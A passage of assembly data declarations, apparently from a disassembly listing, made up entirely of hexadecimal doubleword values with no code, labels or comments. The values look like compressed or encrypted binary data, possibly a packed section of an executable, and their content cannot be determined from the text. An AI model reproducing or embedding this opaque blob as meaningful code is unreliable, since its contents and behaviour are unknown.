9D1A5829h, 0A506Eh, 330F5716h dd 1E8E1D01h, 557D60EEh, 0D125D400h, 7AF191E1h, 6D1100D3h dd 889FF092h, 0E8000E57h, 0A758BAB3h, 567C19h, 2F212C26h dd 0E57EF161h, 816B9100h, 645BB00Ch, 0F4C5007Dh, 0E4CD2042h dd 2200FB8Ah, 0B67C2921h, 463919h, 98361A56h, 0D05181FEh dd 0FEBE5Ch, 0A620F24Ch, 134A2DA8h, 0E82976Ch, 64E0FC8Dh dd 379E0C16h, 0B17B1E01h, 6886478Ah, 2C635E0h, 5EFEBD44h dd 0F080D45Dh, 0F3C2F795h, 0A47B7D3Dh, 0C303D7BAh, 90195FE9h dd 0CCB72Fh, 2210C1F7h, 70BE833Ah, 7C00AAEAh, 0B493BD06h dd 88B80Ch, 0F74ACEB5h, 0D1096817h, 0DF1E3878h, 0D7C0FB34h dd 182799E6h, 26541CC4h, 3CD8DD8Fh, 0A59F1700h, 0A29C8CEBh dd 9E400400h, 4D32DF22h, 698800DEh, 95B71489h, 2B019909h dd 0A33045FCh, 0FDC857A5h, 3EDE0040h, 83A08532h, 761D1E34h dd 0C2C09BDDh, 0FCF5F6E3h, 6F221891h, 6C029036h, 0EF332C02h dd 40BF53AAh, 489BC4F2h, 700F3403h, 75809DD8h, 17F9D4B3h dd 0E35EB01h, 955A6658h, 1E0960h, 761F8640h, 0E499D2F1h dd 7313C800h, 0C0BB7C6Fh, 748F0028h, 29D18EABh, 0FD00F552h dd 0A201F070h, 1666A3h, 286D4B2h, 0C6552FD1h, 0DA5DB000h dd 3DDFC369h, 0CCD750F7h, 0C5AE0074h, 993F8295h, 2A0033A4h dd 0D8F63413h, 0E6C15Dh, 22EA4507h, 0BDBA87BBh, 3DCD8200h dd 11A27FABh, 4B1916DEh, 187200AEh, 9F02AFF7h, 793A36EEh dd 0F0CE9DD8h, 40915F0Eh, 0CF9D41FFh, 0D2FACDh, 0B43A3843h dd 0A567FB6Ah, 0B70BEC00h, 0A09C6BEAh, 0EE5672EDh, 517C0006h dd 2B490D8h, 0F903DB44h, 7E076796h, 93580B8h, 943201D3h dd 517DD617h, 21D8842Ah, 3880D4AEh, 602FA809h, 2D42A0F9h dd 78185C31h, 0B8526622h, 0F6CCE0F4h, 0C6270028h, 9FDEEDF2h dd 190E92FAh, 409715BAh, 53E8A8F8h, 1EE001F0h, 6844748Eh dd 0D287C82Dh, 56CBD803h, 98601883h, 88DA0h, 7B9EA71Eh dd 0B1597513h, 0FB1FCE03h, 12787F9h, 34F2CDA0h, 30E7FF4Dh dd 6A007CBCh, 3E831ED3h, 0C4336h, 3821EDF5h, 0B9BDE8Dh dd 4909C41Dh, 0CB64CDC0h, 58AF3Fh, 835A7F29h, 2C6AC7E3h dd 50EC7200h, 454AB5Fh, 0D44800B4h, 24871822h, 47002871h dd 6BE34CB7h, 1534603h, 0DB7FBF95h, 0E0CA6361h, 0CD006483h dd 47D0B34Ch, 10C1101h, 0D89581DEh, 0D492E3FDh, 0D200BB23h dd 0E773DDA4h, 0E93C883h, 525CF9CCh, 43564CE3h, 0CF24B000h dd 7A5B4ABFh, 31BD1DA7h, 0EC9C40A5h, 0D44EA623h, 2505Ch dd 243887D6h, 915DD5Fh, 62DFCF56h, 59095890h, 0E7EEBC00h dd 0D4521E5Eh, 0A3762F6Eh, 0EB3DA758h, 0BCF080D2h, 38DB460Bh dd 6D4D0021h, 3E780D4Ch, 562485C4h, 0A20002D1h, 0D3CF722Bh dd 0B2E100FEh, 60F81A2Eh, 98002DE4h, 6FF06A86h, 0A7CF68h dd 1CC9B9F3h, 27E7FD5Ah, 98089324h, 32EE400h, 2261F1h dd 91ED516Ch, 0C6728853h, 9BA63F00h, 0CBCDD09h, 935C00BFh dd 0FECB3915h, 1B0F1035h, 60E6AFh, 8D7F0446h, 7180055h dd 29F302D7h, 2AF84F37h, 1564200Bh, 8CFF026Ah, 0EE5C400Dh dd 1D2EFAC5h, 40E867F0h, 0D22C52EBh, 13000537h, 86454E41h dd 1172FAh, 0AA4AA018h, 91CB49D1h, 0A21B8D00h, 0DE748C45h dd 57A600ECh, 275CB748h, 60DFF89Bh, 0FCE8C2C0h, 55553h dd 92BACAAFh, 593A9BABh, 0BF151D00h, 0B1F972A4h, 0EE03B2Bh dd 0B0510C83h, 0AFE830EFh, 2403E659h, 54421C3Fh, 0FBA8A01Eh dd 710008Fh, 52CCA9A0h, 0C5009B87h, 0C747E54Eh, 3F7E77B2h dd 50800DD0h, 81897F2Bh, 0E01EB652h, 82C33D51h, 8791030Ah dd 154B2DE0h, 417B23h, 4AFE8FA5h, 0F5CF7111h, 1C9FD103h dd 978EB135h, 0BE67E640h, 0B0C054F6h, 0B9240088h, 22A406F4h dd 4D01EF15h, 8FF791D6h, 0F8E0D363h, 207D0080h, 571DB49Fh dd 0FE000619h, 3FCFF64Eh, 790C1FB6h, 2739834h, 842B0587h dd 6FE05CBAh, 281F971Dh, 8B80DC82h, 0A2387FAAh, 0B345018Fh dd 35146341h, 0E830E9C9h, 590091CDh, 668927B7h, 2452FECh dd 0A6F0D52Ch dd 0A28BBEFEh, 0F10BB200h, 0E326DF12h, 96886893h, 4F7B8092h dd 0E456D6C9h, 0E6953600h, 3CC3A0C6h, 0E1923EFDh, 64675F00h dd 94D1F3F8h, 1A3BC09h, 0B66000E6h, 14B6A87h, 0F42CEC78h dd 3036581Ah, 86FED195h, 0D3B4DC00h, 49086A9Dh, 1B3400A0h dd 0E476FF62h, 7402B6A3h, 0C3BE5A23h, 6F3E06Dh, 0FF5D02FCh dd 54176465h, 505C2540h, 0E003D70h, 0D6B4B1ADh, 3BE0D932h dd 0C32EBD74h, 689C95F8h, 5B8B8E00h, 433C1157h, 29C2F0E1h dd 13000470h, 8C9B4925h, 0E00768h, 65DA0B9Fh, 0CA900331h dd 25034AB0h, 773884CCh, 0A9ACB82Ch, 68E902EBh, 9A038883h dd 0F1698A40h, 0F3BC920Ah, 0C70484DFh, 6406527h, 7479128h dd 384C3Ch, 0CB507EE8h, 1EDE80CAh, 0CE223570h, 75E0A534h dd 8E15EAA3h, 181C5400h, 0C356DC96h, 0D1193A23h, 79670600h dd 0CDE9576Dh, 500E870h, 7B3C5638h, 2230B5h, 9D901AE0h dd 0D5BD6096h, 6298E11Fh, 71CC0F80h, 376674h, 699F9C5Ch dd 9104517h, 0EF211B00h, 82AFDD0Ah, 0CC2600BBh, 61EB38CAh dd 0EAEE3D70h, 7260B97Ah, 0D055D230h, 0CF370036h, 33DF81E9h dd 0CD00FC5Fh, 0CE41F1FAh, 0F8209F2Ah, 7977002Eh, 0F6062DAAh dd 0B800F0AFh, 260A1AFEh, 6E5414h, 65122BCDh, 0F69E860h dd 22442A00h, 8236A98Fh, 5F0600A6h, 32802E98h, 0E498D23Ch dd 0DDECCE00h, 52F41D76h, 1C8E1E1Fh, 85B8B6Ah, 6D040500h dd 820065DEh, 0FAE09DB3h, 0F173F9Eh, 0A1202F15h, 339889E0h dd 0EE5B68A4h, 0B203D9F8h, 7327348Eh, 3D39BEA0h, 0D5E7ECFBh dd 62099FF8h, 0E0AEA79h, 7071C09Eh, 5A978Dh, 6F11BEEh dd 986B0848h, 11166A7Ch, 53000C0Ah, 1EDDAEE8h, 0DC3201D5h dd 0B6A2F6B8h, 18E880BAh, 45B45D47h, 0A4CF0E78h, 0F4A14E77h dd 0E027B1DEh, 342E983Fh, 0E0004940h, 0FB42F0D2h, 88081F25h dd 1B590719h, 31A240D1h, 0AD0033AFh, 0F3DBB274h, 78EE55FCh dd 9E200F36h, 41E01B6Bh, 0B08F89A9h, 0D01896ECh, 69D89AA3h dd 0EF5A0048h, 5365BFACh, 13895C4h, 0C21BA652h, 2EA509h dd 0B9D7CD06h, 0DD6B0E93h, 83E07470h, 49CAFA59h, 0C2D9BA00h dd 9A2832D2h, 37FD0AA3h, 3E635AAh, 0B0AEB69Ch, 7B88BDF3h dd 771C36D8h, 0AFC0DED5h, 6A1DE537h, 0D4BC00B7h, 0A8CC0567h dd 4300ED18h, 0F1DF4959h, 14AD32Fh, 89BEEB96h, 206B48AFh dd 0DB00DA78h, 0BA39F1FFh, 3F2E9637h, 76809106h, 71EC701Eh dd 851F4038h, 0F8408DD7h, 8E9231E8h, 51F21CB7h, 77FE4F24h dd 0EAB6B560h, 0DD002B5Ah, 571F2C2Eh, 0E1A590h, 0A4EEFC94h dd 0E6224B6Ch, 3A0A3200h, 4FD7F06Dh, 0E27C00EBh, 8A4440EEh dd 0CD721DE9h, 0CE71067Ah, 2DB014EEh, 0B04E6D00h, 0C5B54610h dd 50400035h, 481BC3A4h, 0A6009AF3h, 98563487h, 9B06B5h dd 44D4DFA9h, 66EFDE8Bh, 0F80CF900h, 384EB937h, 0B5972C43h dd 3F0B808Fh, 47212392h, 5EB89A00h, 44FD83F1h, 3D697B91h dd 6E00E290h, 46E833CCh, 98008CD9h, 0ADF4AB53h, 2E8D47F5h dd 53FE0Eh, 61BBC58Fh, 0B538BE2Bh, 516900D4h, 7B3696CBh dd 6D310010h, 0F99A6EB1h, 7103A16Ch, 99BDBA34h, 0AE80AC5Bh dd 1A6B5F0h, 5EC0784Dh, 0D8FEBE19h, 9600F4CBh, 37B3AA10h dd 1A8C46h, 0EA88E0B7h, 36D3F1F5h, 4DE95900h, 0F87D591h dd 32FE0B5h, 3FC94CA4h, 0C0F8904Eh, 7800C3C2h, 413A547Bh dd 218244h, 30E8E7F5h, 67D6059Ch, 3803C500h, 0AF61503Ch dd 33700F19h, 2AC08020h, 15056FAAh, 18D91C04h, 518091DDh dd 0C81659h, 0C7145DC5h, 778708FBh, 3951F109h, 0AD5487E1h dd 7B0B6CE0h, 62DE668h, 4F36DE78h, 2A00E486h, 0F23EE94h dd 77A531h, 2E5AFAC9h, 0CB4DD68Eh, 443FD00h, 7F026A0h dd 68107D9h, 10E8C1EBh, 2C84CA34h, 30216001h, 64D49F82h dd 3CF0EF8h, 93B35394h, 41B8C95Dh, 0F224673Bh, 0EA00CC2Eh dd 699AAB54h, 0B8C00ACh, 60AF155h, 30062E1h, 1560E0A3h dd 791A5437h, 0F80B00E4h, 7DFF1749h, 8500C424h, 0C61DD07Ah dd 38218BFh, 53FD7EDAh, 709025E0h, 0BB004CEAh, 0E23DD464h dd 0B517F5h, 0DDFA24D5h, 0EE5658A9h, 0DB7E0800h, 322678A2h dd 0D8D600ECh, 7957BADh, 0BA1D7186h, 1980F343h, 7F15DE44h dd 740D1F46h, 25BB000Bh, 430650Ch, 54FD6000h, 0FFCC47A6h dd 0A0A5006Dh, 0BCC94DDAh, 9FF0AD5Eh, 0E21D5701h, 28980B9h dd 736545C8h, 0C8400BEh, 3D78D6CDh, 51E4762Fh, 0DDC8F900h dd 2B462103h, 3C994C6Fh, 8C1FB14h, 4F109584h, 0EDE1F01h dd 9FAC00FDh, 6E3E940Dh, 0D18B0E7Ch, 0FE6F802Fh, 5846A100h dd 2300E09Fh, 0F8E8702h, 0AB95Bh, 0CC10A7C5h, 3D0BF326h dd 0EC2B7400h, 0D15EA487h, 0C41400C9h, 0E56EA05Fh, 1800B264h dd 0BA7A4DD8h, 0FAADF65h, 61DC5EA5h, 0E1E79622h, 3C0CD960h dd 0B2EB49C0h, 0FAE556A6h, 7F670047h, 33BC4ABBh, 0EE013C1Ch dd 0D6080C77h, 7680E8C8h, 6338B02Fh, 9000F232h, 48556995h dd 1013ACBh, 0C9F5149h, 0DCA98E23h, 7800A0EDh, 0CB9E3638h dd 391E19Ch, 0C86637F2h, 0B4F05650h, 0C30A6A08h, 0F4275E9Ah dd 0F8804380h, 0C6E42Bh, 0DCCDEFFh, 97F47B98h, 0F1600500h dd 79529035h, 0D4BE071Ah, 4CB03C74h, 590C39D1h, 10C7AFFBh dd 0EB360080h, 0D5196FE4h, 0E00067E6h, 0C8C2691h, 6FBDE56h dd 9D52ECDDh, 0D679414Dh, 3C040E00h, 0AF986476h, 858C002Ah dd 870D33B4h, 0B50E1A6Eh, 78017591h, 26A630h, 0AADD8C67h dd 0EE9B37C1h, 93FE4C00h, 0D04678EAh, 43E70066h, 0F53FB15Fh dd 1718D152h, 0F370BF81h, 70CC0134h, 60BA4736h, 30198E7Ah dd 166CA555h, 69AF75C0h, 600E06D1h, 388FBD56h, 0C900C67Eh dd 5427466h, 0CEA15Dh, 0C101E424h, 337CD0A9h, 85B5320Dh dd 65C01998h, 90DF000Bh, 5FC2952Dh, 0C0015B4h, 0F2C4476Ah dd 1FC5AA70h, 805CDB50h, 3268F972h, 502483Dh, 0B30C6BC1h dd 0CB9560D6h, 743B0049h, 1C478CA4h, 9D0B5979h, 8095D55Eh dd 1E533A2h, 23F05A7h, 0FA5D9853h, 37A62E00h, 8EC3Bh, 0EF77D79Fh dd 8623FD5Ch, 2CACD20Ch, 48A826h, 3E73B5C4h, 506F835Bh dd 0C8DE3700h, 4C0DCA55h, 0E19507CDh, 0E0BBEC52h, 0E04AF5C0h dd 80371F3Bh, 8FD79E96h, 742FC765h, 0F71F028h, 78B0C533h dd 1612EF00h, 2039962h, 0C392238Bh, 0B19C9886h, 3B8E00B7h dd 0EB9BE835h, 0E67CD91Fh, 8BCB9D17h, 0B7DE00FAh, 1322E298h dd 1C408800h, 710DBE74h, 9DAE00FDh, 0E8ABEEECh, 880010C4h dd 0EFCF5B59h, 14088EA4h, 88A57FF2h, 44D9903h, 974AE5h dd 1C6BE0C2h, 7F8F1FEh, 659B8D01h, 0C54AEF9Fh, 64E04880h dd 5818BA20h, 0C2100F60h, 0BEF85E8h, 8F0D357Bh, 472F4807h dd 3200C9Dh, 0AD827700h, 5793225Fh, 95A418C5h, 0F3A9B9FFh dd 0AE99D601h, 0E01607E4h, 0E94FDBD8h, 69E82080h, 0F453A583h dd 93050600h, 0E602A43Fh, 0CDE383E3h, 5ECD80ACh, 3D000368h dd 2F057F78h, 1B657A2h, 0F627C4A5h, 5B505AA8h, 6E148030h dd 9E50D8Bh, 1AC1B649h, 30288788h, 2CE44860h, 74310100h dd 0A3C7D469h, 28EB00E6h, 490FEFF9h, 9F0FCB43h, 0A037CCD0h dd 59A826ADh, 0D31A00EDh, 2DDCAA41h, 882EB4FAh, 970022F7h dd 5A5BCC6Ah, 4E621F7Bh, 0EE00389Fh, 51932C80h, 6C3CA68Dh dd 190200E5h, 6BCE7CC8h, 7AB00071h, 31FB4AF0h, 0C1007221h dd 6A888749h dd 0F73B62h, 71162F02h, 4ACBE5A4h, 1559A700h, 0A9A27D45h dd 1CDE0076h, 242A0BB7h, 15C06A3h, 7A740065h, 0B28CA860h dd 4DE400E3h, 0EA92F63Fh, 0AC391566h, 43B000D9h, 4F91C6D3h dd 0DFCA006Bh, 428C1CA7h, 781CC0C1h, 0D7C19E19h, 8B6BE305h dd 0CAB0B7EBh, 1B1DF8h, 79519BA9h, 5E246341h, 8F5A51Dh dd 92A75400h, 4BB527h, 2BF6FCA9h, 0A714477h, 0FB8F0200h dd 0ECD9AA6Ch, 0F1B90347h, 0FD278480h, 526312D0h, 0D0A6CC03h dd 0B01BDE6Dh, 0E43FD9h, 329B7957h, 40155216h, 0B10F9100h dd 7167F02Ah, 0B33E20Ch, 640DC958h, 0F635D200h, 5072AA7h dd 2E9C8432h, 858D73D0h, 0A9570083h, 4AF1109Dh, 23F61266h dd 0C500F8F0h, 0A43E2D37h, 0ED92E8Ah, 475F877Bh, 99D70076h dd 89A04007h, 811DF93Ah, 7E39E39Bh, 22E4E8FAh, 5F88059Fh dd 0C0BA02CDh, 32EA4CB9h, 3A109907h, 69A30E63h, 1580EC3Eh dd 0F4A708A1h, 7C9A0050h, 8E47A309h, 720BE805h, 809075DAh dd 0B7789B37h, 310C003Ah, 1B545B68h, 0CB004972h, 0EFEA7A2Fh dd 3902D999h, 0B28F0905h, 3E20BFCAh, 0B98BA4F3h, 40777114h dd 0A5A71EECh, 96B2027Bh, 807C6437h, 0E136E5DCh, 5A74007Ah dd 62ED6FFDh, 5C19D79Dh, 753853E2h, 0E6A30970h, 2987A39h dd 0FB143C8Ah, 440453Bh, 0B507ECB1h, 765483B8h, 8794A180h dd 0DD29000Bh, 0CB6BC73Ch, 0A63A03A5h, 0FB70802Eh, 2A760E8Ah dd 18CC0081h, 0A0E9DDE4h, 9D7E09C3h, 0C5B09400h, 3A26FC67h dd 56B41E88h, 274AE97h, 8B528758h, 91A46940h, 0FF273618h dd 0A3F53E1h, 8A050918h, 24ECC07Ch, 10D0440Fh, 5A8800E1h dd 0AC897557h, 35971468h, 0A901B85Ch, 4CCFB6AFh, 4FD8FBF8h dd 0EC00FFF9h, 502177FDh, 28D47A23h, 12CA3125h, 142B6D60h dd 4E7EB8F0h, 138FEC95h, 67006E58h, 748FA089h, 904009Ch dd 0A28303A8h, 7E00B1B2h, 541F44E1h, 2075D1h, 0FC9591CAh dd 9B710F5Ch, 0D9818D00h, 0F54C795Ah, 3DB7A46h, 0A4FD3C59h dd 0F98836BCh, 0F400B6C9h, 5548009h, 0A9180Bh, 3D94A841h dd 292E449h, 90295F00h, 52C44F75h, 83EB00DBh, 0AB204CA1h dd 0CF03D87Bh, 7CE551CBh, 0DB95C87Eh, 50E2618h, 9F1258h dd 0CA93AD82h, 21E8D7Dh, 0C4A82810h, 0B00C3E0h, 42135F3Eh dd 638E86h, 1F11718h, 3C1EC66Bh, 0BE92A21Ch, 60A7298Fh dd 0C4B5C7ECh, 16C21C1Ah, 0E0429887h, 0BC00565Ch, 6C28CF91h dd 785099CDh, 6FD60139h, 6A21CA5h, 0FD5120DDh, 0B98C7600h dd 2FEE01DEh, 0F83500FBh, 9C3A8124h, 0DC002A31h, 51585AA5h dd 8E06E9h, 0F3E7DD13h, 80B752D2h, 98CD6E01h, 6D72C04Dh dd 3D7EAC0h, 6B22E1C3h, 0C1F080Dh, 0BC09DDC9h, 185072h dd 8773494Eh, 0AC3C4BD9h, 97503A00h, 472178A0h, 42B90044h dd 0D8080FBFh, 5B008B85h, 4D4ABB9Ah, 7BE0F0C5h, 0A52F0FA9h dd 0F1825F76h, 60D13Ah, 40780B80h, 0F4BCF800h, 54AA5D96h dd 61C20767h, 0C0378157h, 0FE9F7E24h, 106D2300h, 0B9A5AC19h dd 8070F5h, 0EB71A73h, 84CE448Ch, 5FA17700h, 0FD1834CFh dd 0CD6100B8h, 0E5C9C766h, 0F200EED9h, 112A196h, 0B01650h dd 15BC956Fh, 0DFD74320h, 1F00CB7Ch, 22072E94h, 0ECD9C72h dd 9A23578Dh, 0D5E6CE82h, 0B90CD880h, 0CF00A3D9h, 5D813B10h dd 0E74F0Eh, 0C6996A07h, 0D1512041h, 0DF000890h, 0AD64B30h dd 729726Bh, 0CC6424D3h, 66409FB6h, 0DF25795Eh, 5A23EC0Eh dd 2F1AE07Dh, 3ACF1C36h, 0F8044780h, 0C06E8E65h, 7A946D79h dd 5800D37Ch, 0C1C8E597h, 0EC406607h, 6D630054h, 71E26EE1h dd 7900D894h, 0F95CA0C2h, 26EE5A91h, 3789022h, 0CBAADA9Bh dd 3B621A8h, 0A8A2E800h, 0D530DCF9h, 0A4D700F5h, 64CDB4B0h dd 80034774h, 0A0FE5256h, 0CFABE8FAh, 41E3073Bh, 0D08AE6D2h dd 7B507C82h, 9286B200h, 0EDDCF0ACh, 0E290D3h, 0E05B4EF5h dd 9A7A7837h, 0F6FC2350h, 1B01F9E0h, 796ACA40h, 59F05403h dd 9090BEh, 0A8A92D07h, 6F2C89BDh, 0F029C13h, 4D05A600h dd 71B398Bh, 8E19F7D9h, 274C5335h, 0BEEA0AFh, 3E0CC833h dd 1110EA1Ch, 0CCD7C18h, 822E6524h, 0F8090281h, 999A78h dd 4AFB4DA4h, 321A00BCh, 2EFF5E77h, 0A4031E18h, 2CF396Eh dd 7BEEC3D1h, 0B89E0038h, 1083432h, 0A70C5B7Fh, 78860E88h dd 4FAC387Dh, 51061900h, 74354693h, 69E9A600h, 36C75E45h dd 0A42E3050h, 2478189h, 15C8272h, 7DA03DCBh, 0B6F638C3h dd 5EA2189Dh, 95092083h, 382EA730h, 0B443E5Fh, 1A72A223h dd 0B3969080h, 0AA00C66Fh, 533BC179h, 2EDB635Bh, 2752E8h dd 0AFEA8DD0h, 6700E4A3h, 0FCC6C761h, 7A84DF87h, 82B90060h dd 34B47AA7h, 0F400978Ah, 15FCC977h, 13DE220Ch, 0DCB14Ch dd 5B2136C6h, 66008983h, 86DF80C6h, 7318166Fh, 99F244h dd 22A0D1E8h, 93FBEC84h, 87C1F300h, 0CE95F5D0h, 0A11200DEh dd 2F5377B7h, 3E15AAB9h, 0B0019Ch, 64700EC8h, 110C89h dd 3F2A5DCAh, 8FF6C53Ah, 0B897390Eh, 4C70720h, 33567650h dd 441A00E7h, 1FFAFCBh, 0C5038E84h, 79BCF774h, 3D2DB086h dd 0D80512A0h, 3EC7006Fh, 0C22A39E0h, 87441900h, 9C254F1Ah dd 160B303Ah, 7C1F9189h, 7800EF76h, 0F371ABBCh, 0E8928C4h dd 0A021133Ah, 184CE080h, 90605547h, 984819C0h, 0B22739C7h dd 363F15BCh, 87ACEF1Eh, 56DBFEA8h, 9C00DE04h, 52077199h dd 3986A9h, 0EAB93A11h, 7AF633DBh, 880A9630h, 7559C46h dd 84A2CB89h, 2F3963h, 58D14540h, 0F4004CA7h, 21A17BACh dd 241FA94h, 0ECBD895Ah, 6740F395h, 9C032CD9h, 1A6E0D3Fh dd 0A7400997h, 3C21ECFAh, 0CCA50C09h, 604E879h, 0BA1C767Eh dd 0AD055080h, 39D73910h, 0F0CE061h, 0FF2EF04Fh, 0AEA27E00h dd 6F99B415h, 4B8700F4h, 5C885FB8h, 5001FD13h, 65462479h dd 156184A0h, 3C0E48ECh, 3000AF0Ch, 7E56BAABh, 46002CA9h dd 429E048Bh, 4C6A34h, 0CA4F76BEh, 0C88D7903h, 0F4638026h dd 0AB007C28h, 36964DA4h, 39693809h, 7D7E23h, 4630E18Eh dd 5CC9F81Eh, 0D700AB70h, 33EB71A9h, 8537E9h, 0D26ECBC5h dd 0E15BA216h, 0AF00F676h, 5F29A93Ah, 792F3C33h, 0E0FA0054h dd 90C104DEh, 880A1EB9h, 2CF628E7h, 0A5D94B00h, 0F823EA0Ah dd 3DFB0775h, 3E1953h, 4258BAF3h, 0CD48E603h, 14025h, 0C36BD4D8h dd 88758E4Bh, 1246A800h, 0FABB74F9h, 0DA8A0018h, 7B5C8425h dd 5613458Eh, 0D00871Fh, 719F5F99h, 0C24A0088h, 0E630FD23h dd 1B002AEEh, 98DBDA01h, 1E31EFB8h, 83BC7244h, 5CB68FDDh dd 41C239F8h, 148480C0h, 9AFAB7h, 0C11C5268h, 0A353F61Dh dd 4CD750Fh, 0C8DD80E7h, 31F90277h, 39E8347Dh, 0A8418080h dd 0FB7FE110h, 96DD06C8h, 0D8D503CCh, 43F1AB0Dh, 32402973h dd 0C258FEC5h, 0B3086640h, 8EAF18E0h, 0F5003AB0h, 1990A93Eh dd 9A44C0h, 46DDBAB1h, 4E493F79h, 0B46AF500h, 1293EA1h dd 178794Ch, 9E6F62FBh, 0E4925310h, 0B2007A63h, 428A975Dh dd 625854h, 0E06E31B0h, 0ECFE7C84h, 4B051700h, 0F990D9EEh dd 8C201C6Bh, 3545C076h, 92787EDBh, 6E8D1300h, 57A751B7h dd 0A8672853h, 796218A7h, 71202081h, 0D3777205h, 202C8DB2h dd 429FEAB4h, 8A700099h, 595CA7FEh, 0C317007Dh, 9EE3A2DAh dd 0BA00BE13h, 0E085E5B8h, 30E89556h, 0D648B927h, 814012C6h dd 74DB0014h dd 0CF098A59h, 0B2015E0Ah, 0ADF58869h, 0C9E00EDEh, 0DB5600CEh dd 8F05F4E2h, 1360AF99h, 3374B708h, 0A0616073h, 71B63FD7h dd 0BE35F800h, 0AA90C4A7h, 228DD59h, 76A79E9h, 7ACAF860h dd 23A4BC50h, 32064400h, 83F88F01h, 0C89760FDh, 4D5A72AEh dd 0F913BB0Fh, 0FA900075h, 415CCBh, 14504E15h, 6BDA4F8h dd 69338C03h, 9A42F071h, 2980B0E4h, 4B09117Ch, 4871B047h dd 34A778Ah, 5F250CFDh, 86F0ADEEh, 47600EDFh, 92400770h dd 0AA160E72h, 8F00F183h, 0C9F09EDh, 7306FB0Eh, 2B0A0F9h dd 0B38ECCh, 0B96252C0h, 0AE192E74h, 505E1C01h, 1D3DBE85h dd 0F4BBD8h, 26B6B0ADh, 0F89EE1D1h, 938E20A5h, 476BE8B8h dd 497D6095h, 0C0F5638Dh, 39020C72h, 0D1B5DB41h, 0BACC830Ah dd 8D4C07Ah, 0E1320734h, 0C11DB857h, 436824BFh, 5D0B6C8h dd 0A1006285h, 3B25DC6Eh, 6EC7C75h, 9424ADA9h, 1782858h dd 40F28F09h, 7E500002h, 2C46C42Ah, 135790Ah, 1DE02E04h dd 0DE588027h, 4EF34A09h, 0F69A1398h, 0B789E052h, 0F4ACDA00h dd 0A96775A2h, 20E90087h, 6998D356h, 9101825Bh, 113C70A4h dd 1ECDFB4Fh, 0C7D4C88Ch, 5B007841h, 746A6328h, 1C2C9DCh dd 0B0FAD785h, 0E4A816D9h, 0BB004A55h, 8E8B7701h, 920CCB2Dh dd 0F019002Ch, 2A5E380Ah, 900E763h, 0BA3F64D1h, 3377E36h dd 0A8E25DE0h, 30052C9Ch, 4D9EB699h, 0C014804Fh, 0FE63165h dd 664F32DDh, 3040E118h, 0B36095C7h, 9AE26E29h, 0D140C002h dd 0B581B098h, 20B1FE30h, 3D803E5Ah, 5F801BAFh, 0EC4DF5B4h dd 190044B2h, 23A90864h, 0F9BE836h, 2D556787h, 99A1B180h dd 0AA05E232h, 0BC8D9DC6h, 17616580h, 0F8310CCEh, 8219FDF1h dd 0D23A0B00h, 84413770h, 5F93008Bh, 3E39CD96h, 0F9F48E35h dd 31CFC900h, 60EFE4EDh, 78C5F05Dh, 33CB811h, 2ED18D35h dd 310F50A0h, 2189D76Dh, 23F9BD9h, 3068BCE0h, 0E948F8DBh dd 0D5605115h, 7E273E88h, 30D860D6h, 5638C49Dh, 0ECDA5D00h dd 25FD3BB6h, 0C2FF0097h, 36B32C72h, 290BE3D1h, 82AE68D6h dd 803E7D84h, 0AFD7E508h, 0E34B0062h, 0E16D050Eh, 0C202F6ECh dd 0AC4EB240h, 45209054h, 577B291Ch, 31968318h, 21D5D748h dd 813072Ch, 0E1BE038Eh, 0B4A98D36h, 9E7EA4B9h, 30AB8F08h dd 1C9ABB0Ah, 0E16FCE6Fh, 0F276B1DEh, 4C5951D1h, 0BD4F7084h dd 0CB766048h, 91D31E62h, 280834E2h, 0BD478B38h, 3DA91605h dd 0C73031DAh, 1B61C4Dh, 0F1D06480h, 0CC8937CEh, 0B753E228h dd 19CBC59Ch, 31563430h, 0F1D314CAh, 6847A033h, 639AF680h dd 1F5771D0h, 9EAB0830h, 3296C2EDh, 5EE01808h, 5AA5330h dd 36ECB8C4h, 0EEF80ADFh, 197EC044h, 5CA12805h, 30BFC7h dd 11DEF666h, 33D035FAh, 91684F51h, 4B893CE9h, 37061ECh dd 244848A7h, 94422876h, 3F673AA0h, 51D7310Fh, 0DD041100h dd 0CFF02EB4h, 4D7B48ACh, 8916188Eh, 0B4E48893h, 7A91DF01h dd 5AD1CE2Ah, 52D01C21h, 4EB60A63h, 7050AD75h, 148ECF23h dd 0A051BFB6h, 352388E6h, 0A956804Dh, 80312889h, 0E4A8C35Fh dd 0B118B23Ah, 0DFF10891h, 30640B48h, 603108DAh, 3FD27FFCh dd 0F10CD794h, 25C0BB38h, 480EB0C3h, 0A428EDD0h, 0F6018E86h dd 31DAE728h, 0F08A1DA4h, 0AA438FCh, 148C40C5h, 3A7CD005h dd 147CBD8Fh, 0F8B664CCh, 1CD995F1h, 0DE02696h, 0BCF40C84h dd 10CFA4A0h, 0CC5947D1h, 96185ACEh, 0ABB0C4CCh, 4C82065h dd 0F7363BE0h, 0D3B1CE86h, 748C9034h, 1D5D88C1h, 1C57CF33h dd 70C150E4h, 620FB557h, 38878370h, 6613A676h, 882AD1D0h dd 980C0500h, 0E01612CFh, 0CC44F628h, 0CD601C91h, 13CAB9FDh dd 0BBE277FEh, 57276202h, 2EA8B832h, 698E094Bh, 80835A77h dd 0B7902B22h, 2729A135h, 53419817h, 0FFC94DB8h, 0ECD7C34h dd 1A5722A5h, 280C0B24h, 0EC5B0CB1h, 76B01007h, 0B17F81Eh dd 0B1C94761h, 34872E52h, 3D77AC70h, 0BC44972Bh, 9E1B7883h dd 0B6810514h, 70D5E0DCh, 6AB08E54h, 1867620h, 21193B56h dd 0D11AC677h, 63020AB7h, 0B49AA42Ch, 0FC8C6468h, 0D3EC0A18h dd 0FEDBB7E0h, 0AACC0537h, 60F738CFh, 7C78EC60h, 50FA4C3Ah dd 0F800CAB8h, 61E32C36h, 0C6DAAC0Bh, 49700C40h, 1500D8A5h dd 437E9A0Fh, 7C4A0BFh, 3427573Ch, 0D2646B03h, 287A4188h dd 60F4FE30h, 0A5378FFCh, 305781ACh, 8F40ADF0h, 6B787630h dd 9C28027h, 530A9726h, 7780DC5Ah, 15CB8CE0h, 0A959083h dd 0E1D71226h, 2A0C3873h, 2860D001h, 0B6E013F8h, 48275FDCh dd 2AA09C77h, 4678F71Ch, 18CC3351h, 1FE0C224h, 0F679EE60h dd 340B218Eh, 67B97B6Ch, 217473Ch, 9606FA02h, 0B874A5A9h dd 0A4EB0977h, 0F007FC36h, 7138E513h, 0EDB26C50h, 1229BD26h dd 9C386702h, 0CF301885h, 6176290Dh, 17260306h, 60F85CC3h dd 0BED70872h, 9EB83846h, 0AD41C3Ch, 3CD57A55h, 8BD922E0h dd 300092CAh, 97500F16h, 381839A3h, 573805B7h, 2C064825h dd 38C1A112h, 17397710h, 0B6B054F3h, 